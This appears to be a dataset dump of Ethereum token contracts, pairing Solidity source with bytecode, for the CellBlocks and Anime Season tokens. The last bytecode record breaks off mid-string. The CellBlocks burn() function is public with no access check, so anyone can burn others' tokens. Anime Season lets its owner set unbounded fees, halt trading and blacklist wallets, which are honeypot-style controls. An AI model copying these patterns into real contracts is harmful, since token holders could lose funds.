* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*
MIT License for burn() function and event
Copyright (c) 2016 Smart Contract Solutions, Inc.
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
*/
contract CellBlocksToken is EIP20Interface, Ownable {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
/*
NOTE:
The following variables are OPTIONAL vanities. One does not have to include them.
They allow one to customise the token contract & in no way influences the core functionality.
Some wallets/interfaces might not even bother to look at this information.
*/
string public name; //fancy name: eg Simon Bucks
uint8 public decimals; //How many decimals to show.
string public symbol; //An identifier: eg SBX
function CellBlocksToken() public {
balances[msg.sender] = (10**26); // Give the creator all initial tokens
totalSupply = (10**26); // Update total supply
name = "CellBlocks"; // Set the name for display purposes
decimals = 18; // Amount of decimals for display purposes
symbol = "CLBK"; // Set the symbol for display purposes
}
//as long as supply > 10**26 and timestamp is after 6/20/18 12:01 am MST,
//transfer will call halfPercent() and burn() to burn 0.5% of each transaction
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
if (totalSupply > 33*(10**24) && block.timestamp >= 1529474460) {
uint halfP = halfPercent(_value);
burn(msg.sender, halfP);
_value = SafeMath.sub(_value, halfP);
}
balances[msg.sender] = SafeMath.sub(balances[msg.sender], _value);
balances[_to] = SafeMath.add(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
//as long as supply > 10**26 and timestamp is after 6/20/18 12:01 am MST,
//transferFrom will call halfPercent() and burn() to burn 0.5% of each transaction
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
uint256 allowance = allowed[_from][msg.sender];
require(balances[_from] >= _value && allowance >= _value);
if (totalSupply > 33*(10**24) && block.timestamp >= 1529474460) {
uint halfP = halfPercent(_value);
burn(_from, halfP);
_value = SafeMath.sub(_value, halfP);
}
balances[_to] = SafeMath.add(balances[_to], _value);
balances[_from] = SafeMath.sub(balances[_from], _value);
if (allowance < MAX_UINT256) {
allowed[_from][msg.sender] = SafeMath.sub(allowed[_from][msg.sender], _value);
}
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/// @notice returns uint representing 0.5% of _value
/// @param _value amount to calculate 0.5% of
/// @return uint representing 0.5% of _value
function halfPercent(uint _value) private pure returns(uint amount) {
if (_value > 0) {
// caution, check safe-to-multiply here
uint temp = SafeMath.mul(_value, 5);
amount = SafeMath.div(temp, 1000);
if (amount == 0) {
amount = 1;
}
}
else {
amount = 0;
}
return;
}
/// @notice burns _value of tokens from address burner
/// @param burner The address to burn the tokens from
/// @param _value The amount of tokens to be burnt
function burn(address burner, uint256 _value) public {
require(_value <= balances[burner]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
if (_value > 0) {
balances[burner] = SafeMath.sub(balances[burner], _value);
totalSupply = SafeMath.sub(totalSupply, _value);
Burn(burner, _value);
Transfer(burner, address(0), _value);
}
}
event Burn(address indexed burner, uint256 value);
}
|
0x6060604052600436106100cf5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100d4578063095ea7b31461015e57806318160ddd1461019457806323b872dd146101b957806327e235e3146101e1578063313ce567146102005780635c6581651461022957806370a082311461024e5780638da5cb5b1461026d57806395d89b411461029c5780639dc29fac146102af578063a9059cbb146102d3578063dd62ed3e146102f5578063f2fde38b1461031a575b600080fd5b34156100df57600080fd5b6100e7610339565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561012357808201518382015260200161010b565b50505050905090810190601f1680156101505780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561016957600080fd5b610180600160a060020a03600435166024356103d7565b604051901515815260200160405180910390f35b341561019f57600080fd5b6101a7610443565b60405190815260200160405180910390f35b34156101c457600080fd5b610180600160a060020a0360043581169060243516604435610449565b34156101ec57600080fd5b6101a7600160a060020a0360043516610602565b341561020b57600080fd5b610213610614565b60405160ff909116815260200160405180910390f35b341561023457600080fd5b6101a7600160a060020a036004358116906024351661061d565b341561025957600080fd5b6101a7600160a060020a036004351661063a565b341561027857600080fd5b610280610655565b604051600160a060020a03909116815260200160405180910390f35b34156102a757600080fd5b6100e7610664565b34156102ba57600080fd5b6102d1600160a060020a03600435166024356106cf565b005b34156102de57600080fd5b610180600160a060020a03600435166024356107cb565b341561030057600080fd5b6101a7600160a060020a03600435811690602435166108f0565b341561032557600080fd5b6102d1600160a060020a036004351661091b565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103cf5780601f106103a4576101008083540402835291602001916103cf565b820191906000526020600020905b8154815290600101906020018083116103b257829003601f168201915b505050505081565b600160a060020a03338116600081815260036020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60005481565b600160a060020a038084166000818152600360209081526040808320339095168352938152838220549282526002905291822054829084901080159061048f5750838210155b151561049a57600080fd5b6a1b4c0595a86aa1c10000006000541180156104ba5750635b29ed9c4210155b156104e1576104c8846109b6565b90506104d486826106cf565b6104de84826109f9565b93505b600160a060020a0385166000908152600260205260409020546105049085610a0b565b600160a060020a03808716600090815260026020526040808220939093559088168152205461053390856109f9565b600160a060020a0387166000908152600260205260409020556000198210156105af57600160a060020a038087166000908152600360209081526040808320339094168352929052205461058790856109f9565b600160a060020a03808816600090815260036020908152604080832033909416835292905220555b84600160a060020a031686600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405190815260200160405180910390a350600195945050505050565b60026020526000908152604090205481565b60055460ff1681565b600360209081526000928352604080842090915290825290205481565b600160a060020a031660009081526002602052604090205490565b600154600160a060020a031681565b60068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156103cf5780601f106103a4576101008083540402835291602001916103cf565b600160a060020a0382166000908152600260205260409020548111156106f457600080fd5b60008111156107c757600160a060020a03821660009081526002602052604090205461072090826109f9565b600160a060020a0383166000908152600260205260408120919091555461074790826109f9565b600055600160a060020a0382167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58260405190815260200160405180910390a26000600160a060020a0383167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405190815260200160405180910390a35b5050565b600160a060020a0333166000908152600260205260408120548190839010156107f357600080fd5b6a1b4c0595a86aa1c10000006000541180156108135750635b29ed9c4210155b1561083a57610821836109b6565b905061082d33826106cf565b61083783826109f9565b92505b600160a060020a03331660009081526002602052604090205461085d90846109f9565b600160a060020a03338116600090815260026020526040808220939093559086168152205461088c9084610a0b565b600160a060020a0380861660008181526002602052604090819020939093559133909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9086905190815260200160405180910390a3600191505b5092915050565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015433600160a060020a0390811691161461093657600080fd5b600160a060020a038116151561094b57600080fd5b600154600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008060008311156109ee576109cd836005610a21565b90506109db816103e8610a4c565b91508115156109e957600191505b6109f3565b600091505b50919050565b600082821115610a0557fe5b50900390565b600082820183811015610a1a57fe5b9392505050565b600080831515610a3457600091506108e9565b50828202828482811515610a4457fe5b0414610a1a57fe5b6000808284811515610a5a57fe5b049493505050505600a165627a7a72305820a4cef6443aec8c40eaf0d1567e731403c871520eafe476c5ee88f5839db3d4b50029
|
{"success": true, "error": null, "results": {}}
| 8,410 |
0xb34a2d8f706af501ea2c5461aa9cd59284b3bb94
|
/*
We hereby declare that today officially marks the start of Anime Season
10% tax round trip
http://animeseasoneth.com
https://t.me/AnimeSeasonETH
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract AnimeSeason is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Anime Season";
string private constant _symbol = "ANIMESZN";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;
uint256 private _taxFeeOnBuy = 1;
//Sell Fee
uint256 private _redisFeeOnSell = 1;
uint256 private _taxFeeOnSell = 7;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x61661a43aA88F2B1912e09471C2F1A3736244374);
address payable private _marketingAddress = payable(0x61661a43aA88F2B1912e09471C2F1A3736244374);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 100000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 30000 * 10**9; //.3%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set Max transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280600c81526020017f416e696d6520536561736f6e0000000000000000000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600881526020017f414e494d45535a4e000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba